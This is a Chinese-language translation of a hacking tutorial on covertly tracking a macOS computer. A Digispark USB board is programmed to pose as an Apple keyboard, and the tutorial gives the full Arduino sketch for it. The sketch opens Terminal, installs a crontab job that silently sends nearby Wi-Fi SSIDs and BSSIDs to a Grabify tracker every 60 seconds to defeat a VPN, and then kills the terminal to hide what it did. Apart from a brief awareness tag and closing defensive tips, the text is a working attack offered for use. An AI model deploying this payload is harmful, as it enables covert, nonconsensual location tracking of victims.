- 提醒安全意识
null-byte 介绍了一款工具 Digispark,这是一款低成本USB开发板,可在 Arduino 中进行编程,并能够冒充键盘,从而使其能够交付大量有效载荷。
仅需花费几美元,您就可以使用 Digispark 向目标MacOS计算机提供有效载荷,每60秒跟踪一次,甚至绕过VPN这样的安全性。
对macOS计算机进行低成本攻击的技巧是使用系统上已安装的工具。
本案例将利用一些不需要密码即可执行的命令,这些命令可以强制目标每60秒向跟踪服务器检入一次。
Arduino的黑客
本案例将要使用的有效载荷会利用macOS内置的工具把跟踪信息发送到远程服务器,从而使攻击者能够查看所被跟踪计算机的IP地址和位置。
可能的方式是双重的。一:我们能够对 Digispark 进行编程,使其不仅像键盘一样工作,而且像苹果品牌的键盘一样工作。这意味着在插入Digispark时,不会弹出任何错误消息。 Mac只是认为这是普通的Apple键盘。
二:插入后它就会迅速将我们指定的任何有效载荷输入到目标电脑中。通过正确的按键组合,可以快速启动终端窗口,收集信息、了解用户的位置。
在脚本的原始版本中,仅向一个跟踪URL发送了CURL请求。这将使我们能够了解正在跟踪的设备的当前IP地址,但如果目标使用VPN,那将被证明是无用的。
如果目标确实使用了VPN,我们只会知道VPN的IP地址,用户的真实位置继续被隐藏。
通过Wi-Fi网络进行抓取和跟踪
为了使跟踪更上一层楼,我们将把先前攻击的几个元素结合在一起。首先,使用一个CURL请求 -referrer 将数据从macOS计算机传递到跟踪服务器。
在此变量中将放置目标计算机附近的Wi-Fi网络。
借助 Google Maps 和 Wigle Wifi 等服务,可为大多数Wi-Fi网络的位置编制索引,因此可以轻松地查找用户所在的位置。
/System/Library/PrivateFrameworks/Apple80211.framework/Versions/Current/Resources/airport -s
SSID BSSID RSSI CHANNEL HT CC SECURITY (auth/unicast/group)
MySpectrumWiFia8-2G b0:98:2b:4e:62:ae -73 1 Y -- WPA2(PSK/AES/AES)
MySpectrumWiFi28-2G 84:a0:6e:c2:0a:2e -74 1 Y -- WPA2(PSK/AES/AES)
Envy 40:70:09:74:48:b0 -67 6 Y US WPA2(PSK/AES/AES)
ATT5ww86a2 10:05:b1:5d:0c:40 -75 11 Y -- WPA2(PSK/AES/AES)
SMQ2.4 c0:56:27:c8:c0:96 -74 10 Y -- WPA2(PSK/AES/AES)
CableWiFi c4:01:7c:13:1c:c8 -56 11 Y US NONE
Red Polish-5G 60:19:71:f1:a3:25 -87 36,+1 Y US WPA2(PSK/AES/AES)
Vog Hair Salon-2 ac:b3:13:07:42:75 -77 44,+1 Y US WPA2(PSK/AES/AES)
claire-2g b0:6e:bf:db:c1:b8 -70 1 Y US WPA2(PSK/AES/AES)
NETGEAR57 50:6a:03:aa:07:d6 -88 6 Y US WPA2(PSK/AES/AES)
SMQ 2.4 00:ac:e0:91:65:80 -78 6 Y US WPA2(PSK/AES/AES)
Gryffindor ac:b3:13:7a:4a:90 -79 6 Y US WPA2(PSK/AES/AES)
GoGo Foot 10:05:b1:32:bb:30 -62 11 Y -- WPA2(PSK/AES/AES)
无法通过引荐来源网址传递太多行,因此我们将其压缩为一行,并删除所有可能会导致混乱的字符。
/System/Library/PrivateFrameworks/Apple80211.framework/Versions/Current/Resources/airport -s | sed 1d | xargs | tr -d ' ' | tr -d '-'
MySpectrumWiFia82Gb0:98:2b:4e:62:ae731YWPA2(PSK/AES/AES)MySpectrumWiFi282G84:a0:6e:c2:0a:2e741YWPA2(PSK/AES/AES)Envy40:70:09:74:48:b0676YUSWPA2(PSK/AES/AES)ATT5ww86a210:05:b1:5d:0c:407511YWPA2(PSK/AES/AES)SMQ2.4c0:56:27:c8:c0:967410YWPA2(PSK/AES/AES)CableWiFic4:01:7c:13:1c:c85611YUSNONERedPolish5G60:19:71:f1:a3:258736,+1YUSWPA2(PSK/AES/AES)VogHairSalon2ac:b3:13:07:42:757744,+1YUSWPA2(PSK/AES/AES)SOYOUNGBEAUTY5G06:ea:c9:77:83:0365132YUSWPA2(PSK/AES/AES)SpectrumWiFic4:01:7c:93:1c:cc72116YUSNONESpectrumWiFiPlus
现在,可以使用以下有效负载将此非常长的字符串通过CURL请求传递。
~# curl --silent --output /dev/null --referer '$(/System/Library/PrivateFrameworks/Apple80211.framework/Versions/Current/Resources/airport -s | sed 1d | xargs | tr -d ' ' | tr -d '-')' https://grabify.link/LINK
它扫描附近的网络,将它们压缩成一个没有空格或破折号的字符串,然后将其发送到 Grabify 跟踪链接。
对于攻击者而言,请求的结果是当前IP地址以及被监视计算机附近的Wi-Fi网络。为了达到良好的效果,我们还添加了 — silent — output /dev/null 部分,以放弃对CURL请求的响应,并避免提醒用户。
制作好有效载荷的核心之后,需要确定我们要多久追踪一次目标 macOS 计算机。
您需要什么
您将需要一台macOS目标计算机和一个 Arduino 兼容的 Digispark USB 开发板克隆(AliExpress 有一些便宜的可选)。
免费的,跨平台的 Arduino IDE 将使您能够快速构建所需的东西,因此请确保已在计算机上安装了它。Arduino集成开发环境使您能够快速编写脚本并将脚本上传到类似 Arduino 的微控制器设备。
您还需要一个浏览器来设置 Grabify URL 管理跟踪。创建 Grabify 链接是免费的,它允许您跟踪连接到其创建的URL的任何设备。
步骤1:设置 Grabify link 进行跟踪
首先,您可以转到 Grabify 来创建您的跟踪URL,放入您要将目标重定向到的链接,然后单击“创建URL”。
这将创建您的跟踪URL,它会在您将被自动重定向到的跟踪页面的 “new URL” 字段下列出。
通过提供的链接,您可以观看跟踪结果。为了测试跟踪链接是否正常工作,我们将在VPN下发送一个CURL请求。确保添加您的链接。
curl https://grabify.link/YOURLINK
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8" />
<meta http-equiv="refresh" content="0;url=https://youtu.be/EaQYFBykJMA" />
<title>Redirecting to https://youtu.be/EaQYFBykJMA</title>
</head>
<body>
Redirecting to <a href="https://youtu.be/EaQYFBykJMA">https://youtu.be/EaQYFBykJMA</a>.
</body>
现在,当你进入跟踪页面时,应该看到一个结果。
即使已经取得了积极的成果,但这个结果依旧是来自我们的VPN,它认为我们在澳大利亚。看看是否可以使用Wi-Fi有效载荷破坏VPN。
步骤2:在 Arduino IDE 中安装 Digispark
在为 Digispark 开发板编写代码之前需要配置 Arduino IDE 识别开发板。为此,请打开 Arduino IDE 并进入应用程序的 “首选项”。
在“设置”选项卡中,查找显示 “其他板管理器URL” 的字段,然后粘贴以下URL。
http://digistump.com/package_digistump_index.json
如果需要更多空间,可以单击该字段旁边的按钮以打开一个添加更多URL的窗口。单击 “确定” 将其添加。
在“工具”下,单击“Board”,然后单击“板管理器”以显示已安装板的列表。
需要安装的板库是 “Digistump AVR板” 软件包。只需搜索 “digispark” 即可找到它,然后单击包旁边的 “安装” 以将其添加到 Arduino 安装中。
现在,您可以从 “Boards” 下拉菜单中选择 Digispark。选择第一个选项 “ Digispark(Default-16.5mhz)” 作为我们正在使用的板。
完成后应该能够写入 Digispark 板。它的工作方式与常规 Arduino 略有不同。
步骤3:在 Arduino 中编写有效载荷
首先,调用 “DigiKeyboard.h” 库,并开始 Arduino 草图的两个部分,即设置和循环功能。
在循环功能中将执行 DigiKeyboard 命令,开始于 DigiKeyboard.sendKeyStroke(0); 这就解决了 DigiSpark 有时会卡住的问题。
#include "DigiKeyboard.h"
void setup() {}
void loop() {
DigiKeyboard.delay(2000);
DigiKeyboard.sendKeyStroke(0);
设置 Digispark 进行输出后,就可以开始输入有效载荷的第一部分了。首先需要获取 Spotlight 搜索菜单以在目标的 macOS 屏幕上弹出才能使我们进入终端窗口。
通过编程将 Space 和 Command 键一起按下打开终端窗口,然后在出现文本字段时键入 “ terminal”。最后按 Enter 键从建议列表中选择并启动 Terminal。这些步骤的代码如下所示。
DigiKeyboard.sendKeyStroke(KEY_SPACE, MOD_GUI_LEFT);
DigiKeyboard.delay(600);
DigiKeyboard.print("terminal");
DigiKeyboard.sendKeyStroke(KEY_ENTER);
终端窗口打开五秒钟后使用 crontab -e 命令安排每60秒在后台执行一次任务。
为了使事情更简单,我们还指定了要使用文本编辑器 “nano” 用 export VISUAL=nano 。在目标计算机上按 Enter 后,应打开一个 Nano 窗口,用于向 crontab 添加命令。
DigiKeyboard.delay(5000);
DigiKeyboard.print("export VISUAL=nano; crontab -e");
DigiKeyboard.delay(500);
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(1000);
DigiKeyboard.sendKeyStroke(KEY_ENTER);
在打开的nano文本编辑器中对 Arduino 进行编程,以在五个星号之后粘贴我们编写的有效载荷。五个星号表示这些命令应每60秒执行一次。
还需要确保用反斜杠转义引号,例如 \’, 以避免 Arduino 将其解释为字符串的结尾。结果将如下所示。
DigiKeyboard.print("* * * * * curl --silent --output /dev/null --referer \'$(/System/Library/PrivateFrameworks/Apple80211.framework/Versions/Current/Resources/airport -s | sed 1d | xargs | tr -d ' ' | tr -d '-')\' https://grabify.link/YOURLINK");
现在已经插入了有效载荷,我们需要保存它。在nano中,可以通过同时按 Control-X,然后按 Y 和 Enter 来保存文件以执行此操作。它将保存有效载荷并退出 nano 到终端窗口。代码看起来像这样:
DigiKeyboard.delay(1000);
DigiKeyboard.sendKeyStroke(KEY_X, MOD_CONTROL_LEFT);
DigiKeyboard.delay(500);
DigiKeyboard.sendKeyStroke(KEY_Y);
DigiKeyboard.delay(500);
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(500);
最后,我们需要关闭所有内容,以使我们所做的事情不明显。为此将等待所有后台进程完成,然后杀死当前正在运行的进程的父进程。
DigiKeyboard.print("wait && kill -9 $(ps -p $PPID -o ppid=)");
DigiKeyboard.delay(500);
DigiKeyboard.sendKeyStroke(KEY_ENTER);
将所有内容放在一起,完整的脚本应类似于下面这样。
/* Digispark VPN buster to send the IP address and BSSID/SSID of nearby Wi-Fi networks on a MacOS computer to a Grabify tracker every 60 seconds.
*/
#include "DigiKeyboard.h"
void setup() {}
void loop() {
DigiKeyboard.delay(2000);
DigiKeyboard.sendKeyStroke(0);
DigiKeyboard.sendKeyStroke(KEY_SPACE, MOD_GUI_LEFT);
DigiKeyboard.delay(600);
DigiKeyboard.print("terminal");
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(5000);
DigiKeyboard.print("export VISUAL=nano; crontab -e");
DigiKeyboard.delay(500);
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(1000);
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.print("* * * * * curl --silent --output /dev/null --referer \"$(/System/Library/PrivateFrameworks/Apple80211.framework/Versions/Current/Resources/airport -s | sed 1d | xargs | tr -d ' ' | tr -d '-')\" https://grabify.link/YOURLINK");
DigiKeyboard.delay(1000);
DigiKeyboard.sendKeyStroke(KEY_X, MOD_CONTROL_LEFT);
DigiKeyboard.delay(500);
DigiKeyboard.sendKeyStroke(KEY_Y);
DigiKeyboard.delay(500);
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(500);
DigiKeyboard.print("wait && kill -9 $(ps -p $PPID -o ppid=)");
DigiKeyboard.delay(500);
DigiKeyboard.sendKeyStroke(KEY_ENTER);
for(;;){ /*empty*/ }}
步骤4:刷入该有效载荷
当您准备刷 Digispark 时,请确保先拔掉它的电源。单击 Arduino 窗口左上方的箭头,代码将编译。在底部的窗口中,Arduino 将指示您在60秒内插入 Digispark。
Running Digispark Uploader...
Plug in device now... (will timeout in 60 seconds)
> Please plug in the device ...
> Press CTRL+C to terminate the program.
继续并插入,代码将上传。如果看到如下所示的输出,则说明已完成,完成后将其拔出,因为有效载荷将在五秒钟后执行。
> Device is found!
connecting: 16% complete
connecting: 22% complete
connecting: 28% complete
connecting: 33% complete
> Device has firmware version 1.6
> Available space for user applications: 6012 bytes
> Suggested sleep time between sending pages: 8ms
> Whole page count: 94 page size: 64
> Erase function sleep duration: 752ms
parsing: 50% complete
> Erasing the memory ...
erasing: 55% complete
erasing: 60% complete
erasing: 65% complete
> Starting to upload ...
writing: 70% complete
writing: 75% complete
writing: 80% complete
> Starting the user app ...
running: 100% complete
>> Micronucleus done. Thank you!
如果不起作用,请尝试断开连接,然后再次尝试上传。您可能还需要稍微调整USB插槽中的 Digispark 使其接触,具体取决于计算机使用的插槽类型。
步骤5:执行脚本并检查跟踪日志
现在代码已在 Digispark 上,我们可以将其插入并观看它的运行。
确保已退出所有终端窗口,然后插入 Digispark 以查看有效载荷运行并查找任何潜在的故障。您可能需要根据看到的内容调整脚本的时间。
一旦脚本顺利执行,就可以检查 Grabify 跟踪页面以查看是否获得了想要的效果。希望看到的是 VPN 的IP地址,以及附近很长的 Wi-Fi 网络的字符串。
在上面的结果中,已经成功接收到属于目标附近网络的一串SSID和BSSID,以便我们进行跟踪。
可以获取第一个网络 RedPolish 的 BSSID,并通过 Wigle Wifi 运行它,以查看是否找到该网络的位置。
如果您没有看到引荐来源网址,那可能是因为附近网络的字符串太长。您可以在有效载荷中的 tr -d ‘-’ 行之后添加 cut -c -200 来尝试解决此问题,从而将发送的字符总数减少到最多200个。
在 Wigle.net 上,可以使用搜索功能来查找感兴趣的 BSSID。
很棒~ 即使VPN说这是澳大利亚,我们也通过跟踪他们实际靠近的网络的位置来证明用户实际上位于洛杉矶。 该VPN并不能为保护目标计算机提供帮助。
在 Arduino 中创建HID有效载荷很容易
如上,已经证明了使用macOS计算机上的内置工具创建一个跟踪脚本很容易,可以与一块价值1美元的 Arduino 开发板一起交付。
保持计算机处于未锁定状态和无人看管状态,就很容易导致此类攻击,因此在关闭笔记本之前,请始终关闭并锁定,甚至是短暂地无人值守也要这样做。
您可以通过更改默认的快捷键来使您的计算机受到这种攻击的可能性减小,从而使 Spotlight 搜索栏之类的东西可以使用其他组合键来启动。您可以在终端运行 crontab -l 以查找任何可疑的东西并列出它们。⚪️